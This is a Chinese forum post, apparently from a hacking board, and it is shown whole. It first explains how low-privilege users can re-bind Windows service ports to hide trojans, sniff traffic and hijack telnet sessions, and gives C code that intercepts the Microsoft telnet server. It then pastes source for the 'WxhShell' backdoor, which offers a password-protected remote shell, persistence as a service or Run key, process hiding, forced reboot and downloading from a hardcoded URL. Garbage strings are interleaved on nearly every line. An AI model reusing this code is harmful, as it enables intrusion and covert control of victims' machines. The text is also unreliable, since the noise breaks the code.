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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,t?B+$E  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Tod&&T'UW  
O)*+="Rg  
  saddr.sin_family = AF_INET; O!#g<`r{K  
+H-6eP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NZLxHD]mp  
 I<mV+ex  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  :D6 ON"6  
m)t;9J5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2j88<Yh]H  
rk2j#>l$4  
  这意味着什么?意味着可以进行如下的攻击: 2g-j.TM  
z6=Z\P+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Oi'5ytsES  
_[c0)2h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8,4"uuI  
{ ]{/t-=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VU(v3^1"  
QL&ZjSN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]Ji.Zk  
v5#j Z$<F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uM IIYS  
ThajHK|U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dO<ERY  
qZtzO2Mt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EzM ?Nft  
N=5a54!/  
  #include P6-s0]-g  
  #include DS(}<HK{  
  #include l'-Bu(  
  #include    s4y73-J^.v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5h=}j  
  int main() %~H-)_d20  
  { ?}tFN_X"  
  WORD wVersionRequested; a`E#F] Z  
  DWORD ret; qs6]-  
  WSADATA wsaData; p Z|V 3  
  BOOL val; x_N'TjS^{  
  SOCKADDR_IN saddr; I by\$~V  
  SOCKADDR_IN scaddr; &tLgG4pd  
  int err; #uG%j  
  SOCKET s; 6$Xzpg(o  
  SOCKET sc; mI-]/:  
  int caddsize; nLZTK&7}  
  HANDLE mt; UT~4x|b:O  
  DWORD tid;   SumF  2  
  wVersionRequested = MAKEWORD( 2, 2 ); OUPUixz2Z  
  err = WSAStartup( wVersionRequested, &wsaData ); {l1.2!  
  if ( err != 0 ) { ifMRryN4  
  printf("error!WSAStartup failed!\n"); 2>xF){`  
  return -1; np"\19^  
  } X; \+<LE  
  saddr.sin_family = AF_INET; &ZlVWK~v  
   =vCY?I$P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 45@ I*`  
SuJ aL-;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &WuN&As!Z  
  saddr.sin_port = htons(23); C\Wmq [  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +ZaSM~   
  { ~?Qe?hB  
  printf("error!socket failed!\n"); S}m)OmrmA  
  return -1; !21FR*  
  } ,GbR!j@6  
  val = TRUE; UJAv`yjG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }I+E\ <  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Jy`B!S_l  
  { _lJ!R:*  
  printf("error!setsockopt failed!\n"); 17%,7P9pg  
  return -1; zx"s*:O  
  } ~zJbK. _  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; by1<[$8r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~rqCN,=d  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 urs,34h  
.LnGL]/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q.^;!f1  
  { ^+>laOzC`8  
  ret=GetLastError(); hc(#{]].  
  printf("error!bind failed!\n"); KEo ,m  
  return -1; ios&n)W&  
  } WtsFz*`)y  
  listen(s,2); *MFIV02[N  
  while(1) 7?!d^$B  
  { ed{ -/l~j  
  caddsize = sizeof(scaddr); 93 )sk/j  
  //接受连接请求 zlSNfgO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bivuqKA  
  if(sc!=INVALID_SOCKET) .,|G7DGH]  
  { :\`o8`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }#RakV4  
  if(mt==NULL) ,GhS[VJjR  
  { Hh3X \  
  printf("Thread Creat Failed!\n"); iJI }TVep#  
  break; kYP#SH/  
  } CAig ]=2'  
  } #1A.?p  
  CloseHandle(mt); !OhC/f(GBZ  
  } R6<X%*&%  
  closesocket(s); }z'8Bu  
  WSACleanup(); D :4[ ~A  
  return 0; Fbr;{T .  
  }   >W=,j)MA  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;LKkbT 5  
  { xf\C|@i  
  SOCKET ss = (SOCKET)lpParam; e9Wa<i 8  
  SOCKET sc; I;,77PxD  
  unsigned char buf[4096]; eH'av}  
  SOCKADDR_IN saddr; Jc&{`s^Nu  
  long num; Fj8z  
  DWORD val; xA2YG|RU=b  
  DWORD ret; n:I,PS0H<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c)6m$5]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fZGX}T<)p-  
  saddr.sin_family = AF_INET; .O5Z8 p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kUL' 1!j7  
  saddr.sin_port = htons(23); RtkEGxw*^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Y:sLGQLD  
  { > ym,{EHK  
  printf("error!socket failed!\n"); rQ{7j!Im  
  return -1; )` SrfGp8  
  } &)# ihK_  
  val = 100; b"<liGh"n-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /e5O"@  
  { :[.vM  
  ret = GetLastError(); IEL%!RFG  
  return -1; 6fE7W>la  
  } [t m_Mg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .Bl\Z  
  { XFVE>/H  
  ret = GetLastError(); K C*e/J  
  return -1; v|)4ocFK  
  } 1W c=5!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nK1Slg#U  
  { >mbHy<<  
  printf("error!socket connect failed!\n"); a Yg6H2Un  
  closesocket(sc); y>8sZuH0  
  closesocket(ss); nSDMOyj+  
  return -1; p#ZCvPE;uH  
  } m+`cS=-.  
  while(1) nI?[rCM  
  { :I.mGH!^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (U D nsF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o*+"|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d~])K#oJ  
  num = recv(ss,buf,4096,0); \i>?q   
  if(num>0) Fk&c=V;SU  
  send(sc,buf,num,0); x /(^7#u,  
  else if(num==0) 2lZ Q)   
  break; u74[>^  
  num = recv(sc,buf,4096,0); `z}?"BW|  
  if(num>0) yt+L0wzzB  
  send(ss,buf,num,0); (fH#I tf  
  else if(num==0) ydEoC$?0  
  break; xWH.^o,"  
  } >>4qJ%bL  
  closesocket(ss); >F|>cc>_E  
  closesocket(sc); 6$hQ35  
  return 0 ; M5 LfRBO  
  } ~gJwW+  
lf`{zc r:  
(q/e1L-S  
========================================================== do hA0  
#H&|*lr  
下边附上一个代码,,WXhSHELL xJpA0_xfG  
;DQ ZT  
========================================================== N@4w! HpJ  
B&M%I:i  
#include "stdafx.h" ZuzEg*lb  
Y sC>i`n9  
#include <stdio.h> ,C\i^>=  
#include <string.h> /$Ir5=B  
#include <windows.h> I.(, hFx;  
#include <winsock2.h> {S]}.7`l9(  
#include <winsvc.h> OU\~::  
#include <urlmon.h> zEX  
1/B>XkCJ  
#pragma comment (lib, "Ws2_32.lib") /s&9SYF  
#pragma comment (lib, "urlmon.lib") tn\yI!a  
/obfw^  
#define MAX_USER   100 // 最大客户端连接数 a@K%06A;'  
#define BUF_SOCK   200 // sock buffer JJ-( Sl  
#define KEY_BUFF   255 // 输入 buffer d UE,U=  
.<0ye_S'y  
#define REBOOT     0   // 重启 98c(<  
#define SHUTDOWN   1   // 关机 =`oCLsz=  
)b L'[h  
#define DEF_PORT   5000 // 监听端口 0@0w+&*"@  
wQl ,  
#define REG_LEN     16   // 注册表键长度 tPWLg),  
#define SVC_LEN     80   // NT服务名长度 c% -Tem'#  
jxJ8(sr$  
// 从dll定义API >{n,L6_ t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,$L4dF3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IxN9&xa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ='r!g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *\a4wZ6<3  
ah$b [\#C  
// wxhshell配置信息 un"Gozmt5  
struct WSCFG { & bm 1Fz  
  int ws_port;         // 监听端口 bTNgjc  
  char ws_passstr[REG_LEN]; // 口令 (62"8iD6  
  int ws_autoins;       // 安装标记, 1=yes 0=no BQHVQs   
  char ws_regname[REG_LEN]; // 注册表键名 mkk6`,ov  
  char ws_svcname[REG_LEN]; // 服务名 dh\'<|\K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G^|:N[>B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .[KrlfI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oAVnK[EMq`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wc@X.Q[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e`_LEv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;W )Y OT  
ij`w} V  
}; ea2ayT  
.WJ YQi  
// default Wxhshell configuration kPG-hD  
struct WSCFG wscfg={DEF_PORT, `:fZ)$sY  
    "xuhuanlingzhe",  :A_@,Q  
    1, ,Ks8*;#r  
    "Wxhshell", WM$ MPs  
    "Wxhshell", LKB$,pR~1l  
            "WxhShell Service", Y=?3 js?O  
    "Wrsky Windows CmdShell Service", ;u ({\K  
    "Please Input Your Password: ", OX0%C.K)hZ  
  1, i v38p%Zm  
  "http://www.wrsky.com/wxhshell.exe", :uS\3toj  
  "Wxhshell.exe" =U9*'EFr  
    }; &vMb_;~B  
3AtGy'NTp  
// 消息定义模块 "Qc7dRmSxm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1~_{$5[X?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #$07:UJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B)g[3gQ  
char *msg_ws_ext="\n\rExit."; N0Lw}@p  
char *msg_ws_end="\n\rQuit."; !dnH 7 "  
char *msg_ws_boot="\n\rReboot..."; OU_gdp  
char *msg_ws_poff="\n\rShutdown..."; M#6W(|V/  
char *msg_ws_down="\n\rSave to "; 7hcYD!DS  
Wq&if_  
char *msg_ws_err="\n\rErr!"; ;?i W%:_,  
char *msg_ws_ok="\n\rOK!"; %3-y[f  
Np9<:GF1  
char ExeFile[MAX_PATH]; zrgk]n;Pq  
int nUser = 0; %JBz5G  
HANDLE handles[MAX_USER]; )F>#*P  
int OsIsNt; hBUn \~z  
nPl?K:(  
SERVICE_STATUS       serviceStatus; `i*E~'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w+|L+h3L7  
n0 {i&[I~+  
// 函数声明 9wwqcx)3(  
int Install(void); '[:D$q;  
int Uninstall(void); ~rKrpb]ow  
int DownloadFile(char *sURL, SOCKET wsh); 0RLg:SV  
int Boot(int flag); I3I/bofz  
void HideProc(void); lvz7#f L~  
int GetOsVer(void); P l]O\vh  
int Wxhshell(SOCKET wsl); <{cQM$ #  
void TalkWithClient(void *cs); \'D0'\:vz  
int CmdShell(SOCKET sock); @o _}g !9=  
int StartFromService(void); Qd$nH8EDY  
int StartWxhshell(LPSTR lpCmdLine); Ya"a`ozq  
=s2*H8]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); osAd1<EIC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f}f9@>.  
sIGMA$EK  
// 数据结构和表定义 S`0(*A[W*  
SERVICE_TABLE_ENTRY DispatchTable[] = u|TeE\0  
{ %T%sGDCV  
{wscfg.ws_svcname, NTServiceMain}, IfAZn_  
{NULL, NULL} 9}<ile7^  
}; <0&*9ZeD  
 "Og7rl  
// 自我安装 Id .nu/  
int Install(void) pJ"qu,w  
{ M`!H"R7  
  char svExeFile[MAX_PATH]; )23H1  
  HKEY key; IY\5@PVZ  
  strcpy(svExeFile,ExeFile); "7F?@D$e  
cf20.F{<  
// 如果是win9x系统,修改注册表设为自启动 7' V@+5  
if(!OsIsNt) { u0c1:Uv#~e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EgCAsSx(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .jE{3^  
  RegCloseKey(key); U$ElV]N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k"zv~`i'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )U:m:cr<  
  RegCloseKey(key); 97C]+2R%^  
  return 0; SsDmoEeB[  
    } c9 _ rmz8  
  } agDM~=#F  
} *H2r@)Y[~  
else { @,7GaK\  
k)=s>&hl  
// 如果是NT以上系统,安装为系统服务 jcf7n`L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); joAv{Tc  
if (schSCManager!=0) f+)L#>Gl?  
{ C1n>M}b  
  SC_HANDLE schService = CreateService 04P}-L,  
  ( ,j_i?Ff  
  schSCManager, ,m|h<faZL  
  wscfg.ws_svcname, u^I|T.w<r6  
  wscfg.ws_svcdisp, LYK"(C  
  SERVICE_ALL_ACCESS, }!.(n=idZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YZ8>OwQz2  
  SERVICE_AUTO_START, 0-Ku7<a  
  SERVICE_ERROR_NORMAL, V5>B])yQ  
  svExeFile, >jLY"  
  NULL, O-hAFKx  
  NULL, L\"d  
  NULL,  |TH\`U  
  NULL, sBg.u  
  NULL %pL''R9VF  
  ); 0znR0%~  
  if (schService!=0) .g<DD)`  
  { z,p~z*4  
  CloseServiceHandle(schService); 0pd'93C  
  CloseServiceHandle(schSCManager); 3~ {:`[0Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p6Gy ,C.  
  strcat(svExeFile,wscfg.ws_svcname); H40p86@M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *P=VFP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HBXOjr<,{  
  RegCloseKey(key); 3;{kJQ  
  return 0; mNTzUoZF'@  
    } ;'@9[N9  
  } 0=1T.4+=  
  CloseServiceHandle(schSCManager); U$A]8NZ$S  
} ^k">A:E2  
} #h ]g?*}OJ  
Y]2A&0  
return 1; u `6:5k  
} Cnh \%OW  
d/kv|$XW  
// 自我卸载 ndMA-`Ny,  
int Uninstall(void) @K !T,U  
{ QlU8uI[dk  
  HKEY key; nmKp[-5  
9qzHS~l  
if(!OsIsNt) { WW~sNC\3`(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p}~JgEE  
  RegDeleteValue(key,wscfg.ws_regname); 6O!2P  
  RegCloseKey(key); i<Zc"v;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VjZ|$k  
  RegDeleteValue(key,wscfg.ws_regname); `b7t4d*  
  RegCloseKey(key); 7;wd(8  
  return 0; . 3T3E X|G  
  } meO:@Z0  
} )Y{L&A  
} +',S]Edx  
else { y766; X:J  
=GMkR+<)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .}~_a76  
if (schSCManager!=0) v`Oc,  
{ c,+:i1IAy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'I6i ,+D/q  
  if (schService!=0) M%P:n/j  
  { )1`0PJoHE  
  if(DeleteService(schService)!=0) { w_K1]<Q*  
  CloseServiceHandle(schService); .p" xVfi6  
  CloseServiceHandle(schSCManager); $DaNbLV  
  return 0; r52gn(,  
  } Pw"-S?`(  
  CloseServiceHandle(schService); ,R* ]>'  
  } p6!x=cW  
  CloseServiceHandle(schSCManager); sS'm!7*(3  
} VTY 5]|;  
} .Vvx,>>D  
R(G7m@@{  
return 1; d|Lj~x|  
} ^o&. fQ*  
Z o(rTCZX  
// 从指定url下载文件  S9FE  
int DownloadFile(char *sURL, SOCKET wsh) .Rs^YZF  
{ H8}oIA"b  
  HRESULT hr; @Qt{jI !  
char seps[]= "/"; $}<e|3_  
char *token; Si;H0uPO  
char *file; MeZf*' J  
char myURL[MAX_PATH]; F0Yd@Lk$_  
char myFILE[MAX_PATH]; dJNe+ MB`  
<$Yd0hxjU  
strcpy(myURL,sURL); Ry6@VQ"NLb  
  token=strtok(myURL,seps); {8bSB.?R  
  while(token!=NULL) 59;KQ  
  { pB0 \\wR  
    file=token; 2.%ITB  
  token=strtok(NULL,seps); }y gD3:vN7  
  } vy:Z/1q  
&E5g3lf  
GetCurrentDirectory(MAX_PATH,myFILE); 'c$+sp ?  
strcat(myFILE, "\\"); }9}h*RWm  
strcat(myFILE, file); 4zFW-yy  
  send(wsh,myFILE,strlen(myFILE),0); )|# sfHv7  
send(wsh,"...",3,0); gT6jYQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O k=hT|}Y  
  if(hr==S_OK) 5M*:}*  
return 0; Wt~BU.  
else \ta?b!Y),?  
return 1; JYHl,HH#z  
Y9XEP7  
} L`TRJ.GaJ  
-=\c_\O  
// 系统电源模块 j3E7zRm] \  
int Boot(int flag) LyFN.2qw  
{ kc`Tdn  
  HANDLE hToken; 1tFNM[R  
  TOKEN_PRIVILEGES tkp; )MTOU47U  
#Ki[$bS~6  
  if(OsIsNt) { 28d'7El$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rf{rpe$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?hy&  
    tkp.PrivilegeCount = 1; m^;f(IK5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nUOz\ y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xdkZdx>N  
if(flag==REBOOT) { J<jy2@"tXo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M[,@{u/  
  return 0; g{&ui.ml&  
} ^.QzQ1=D  
else { k~1?VQ+?M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XVZ   
  return 0; uJ v-4H  
} {&1/V  
  } PB\x3pV!}  
  else { gp.^~p]x  
if(flag==REBOOT) { \(2sW^fY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z"fJ`--  
  return 0; .U]-j\  
} \LexR.Di  
else { 9CD_ os\h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H$UcF1k<  
  return 0; ~2-1 j  
} ln dx"prW  
} t;\Y{`  
&gx%b*;`L0  
return 1; Qq|57X)P*  
} f(MO_Sj]  
@|YH|/RF  
// win9x进程隐藏模块 YT(AUS5n  
void HideProc(void) BLD gt~h#  
{ A6(/;+n  
DEZve Qr=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9q~s}='"  
  if ( hKernel != NULL ) vUM4S26"NT  
  { P+/e2Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tK\~A,=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ta\tYZj$  
    FreeLibrary(hKernel); z-)O9PV  
  } 1yu4emye4  
[`7ThHX  
return; mc\"yC ^s  
} B^^#D0<  
}-=|^  
// 获取操作系统版本 Uz]|N6`  
int GetOsVer(void) YNi.SXH  
{ vy I!]p  
  OSVERSIONINFO winfo; }&D32\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U-M>=3|N  
  GetVersionEx(&winfo); +52{-a,>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -nV9:opD  
  return 1; {_v#~595  
  else * 0=j?~&  
  return 0; W7nw6;7=  
} ZPYS$Ydy  
tY4;F\e2|A  
// 客户端句柄模块 6T`i/".  
int Wxhshell(SOCKET wsl) b OY |H~  
{ d7bS wL  
  SOCKET wsh; i=2N;sAl  
  struct sockaddr_in client; R4:b{)=O  
  DWORD myID; 3(80:@|  
f4|rVP|x  
  while(nUser<MAX_USER) qUb&   
{ t"oeQ*d%  
  int nSize=sizeof(client); I-l_TpM)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &{t,'[ u  
  if(wsh==INVALID_SOCKET) return 1; M9%$lCl   
5:_}zu|!u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e+fN6v5pU  
if(handles[nUser]==0) NK H@+,+V  
  closesocket(wsh); C$`tbq  
else 3/eca  
  nUser++; j?4qO]_Wx+  
  } 5`p.#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;;/{xvQ.1  
;9QEK]@  
  return 0; p9-K_dw3X@  
} AFwdJte9e  
uQKT  
// 关闭 socket YPI-<vM~  
void CloseIt(SOCKET wsh) O0H.C0}  
{  z+X}HL  
closesocket(wsh); b@hqz!)l`  
nUser--; '!B&:X)  
ExitThread(0); J5,9_uo]  
} Ab.(7GFK  
$/Uq0U  
// 客户端请求句柄 {]4LULq  
void TalkWithClient(void *cs) !R`{ TbN  
{ ~*];pV]A[  
$6R-5oQ  
  SOCKET wsh=(SOCKET)cs; 5]:U9ts#  
  char pwd[SVC_LEN]; =41?^1\  
  char cmd[KEY_BUFF]; <lJ345Q  
char chr[1]; l9Q- iJ  
int i,j; ~})e?q;b  
(X*^dO  
  while (nUser < MAX_USER) { 8'y$M] e9n  
0?|<I{z2  
if(wscfg.ws_passstr) { 1EX;MW-p<T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j8:\%|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J\=*#*rJ1  
  //ZeroMemory(pwd,KEY_BUFF); 'i|YlMFIg  
      i=0; <t!W5q  
  while(i<SVC_LEN) { nKj7.,>;:<  
Q^^niVz  
  // 设置超时 tw)mepwB  
  fd_set FdRead; ^E>3|du]O  
  struct timeval TimeOut; Q\sK"~@3  
  FD_ZERO(&FdRead); ]JQULE)  
  FD_SET(wsh,&FdRead); $U-0)4yf  
  TimeOut.tv_sec=8; vo{--+{ky!  
  TimeOut.tv_usec=0; WcbiqxK7-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >9Vn.S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }4X0epPp;:  
,zY{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xxQ;xI0+]  
  pwd=chr[0]; -jm Y)(\  
  if(chr[0]==0xd || chr[0]==0xa) { zX i 'kB  
  pwd=0; A?OQE9'  
  break; J C}D` h  
  } |-~Y#]  
  i++; Pr C{'XDlU  
    } a(ZcmYzXU  
{Qj~M<@3  
  // 如果是非法用户,关闭 socket @oGcuE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0#gK6o!  
} :7;@ZEe  
H3oFORh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "_?nN"A7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pEz_qy[#  
_+3::j~;m  
while(1) { 0JujesUw(  
Zx>=tx}  
  ZeroMemory(cmd,KEY_BUFF); ;8 lfOMf  
vW@=<aS Z  
      // 自动支持客户端 telnet标准   Y8t8!{ytg  
  j=0; ?:9"X$XR  
  while(j<KEY_BUFF) { 8zq=N#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sNFlKQ8)Q  
  cmd[j]=chr[0]; $<[79al#  
  if(chr[0]==0xa || chr[0]==0xd) { 4s oJ.j8  
  cmd[j]=0; *lJxH8\  
  break; J] r^W)O  
  } m.0*NW  
  j++; uCB=u[]y4  
    } ;722\y(Y  
z\4.Gm-  
  // 下载文件 `uTmw^pZX  
  if(strstr(cmd,"http://")) { 1G`Pmh@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f* wx<  
  if(DownloadFile(cmd,wsh)) fI|$K )K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +LJ73 !  
  else u)Whr@m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8H`[*|{'  
  } ;<4a*;IO  
  else { <%mRSv  
9;If&uM  
    switch(cmd[0]) { uhq8   
  ,<X9Y2B  
  // 帮助 | 6y  
  case '?': { Rf% a'b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "$vRMpW:  
    break; 0<*<$U  
  } Vi|#@tC'  
  // 安装 {Y1Ck5  
  case 'i': { tpx2 IE  
    if(Install()) HjwE+:w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7ZSPXV  
    else NwfVL4Xg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sa8Vvzvo.  
    break; pQQH)`J|t  
    } gnHbb-<i,  
  // 卸载 2B`JGFcdcB  
  case 'r': { #lO Mm9  
    if(Uninstall()) f%8C!W]Dm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aDN` 6[  
    else 3$ PV2"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TkF[x%o  
    break; bW:!5"_{H  
    } )LCHy^'  
  // 显示 wxhshell 所在路径 MWh6]gGs  
  case 'p': { W} ofAkF  
    char svExeFile[MAX_PATH]; -tU'yKhn  
    strcpy(svExeFile,"\n\r"); ?&uu[y  
      strcat(svExeFile,ExeFile); =i3n42M#  
        send(wsh,svExeFile,strlen(svExeFile),0); !ubD/KE  
    break; lmhLM. 2  
    } 2 ? 4!K.  
  // 重启 \}G^\p6?M  
  case 'b': { .A|@?p[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Iz8aQ  
    if(Boot(REBOOT)) u]G\H!Wk Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3iU=c&P  
    else { Qv ?"b  
    closesocket(wsh); #s9aI_  
    ExitThread(0); ^kSqsT"  
    } 0IWf!Sk ]  
    break; BL4-7  
    } 4{Z)8;QX  
  // 关机 h>bx}$q  
  case 'd': { MfkN]\Jyw  
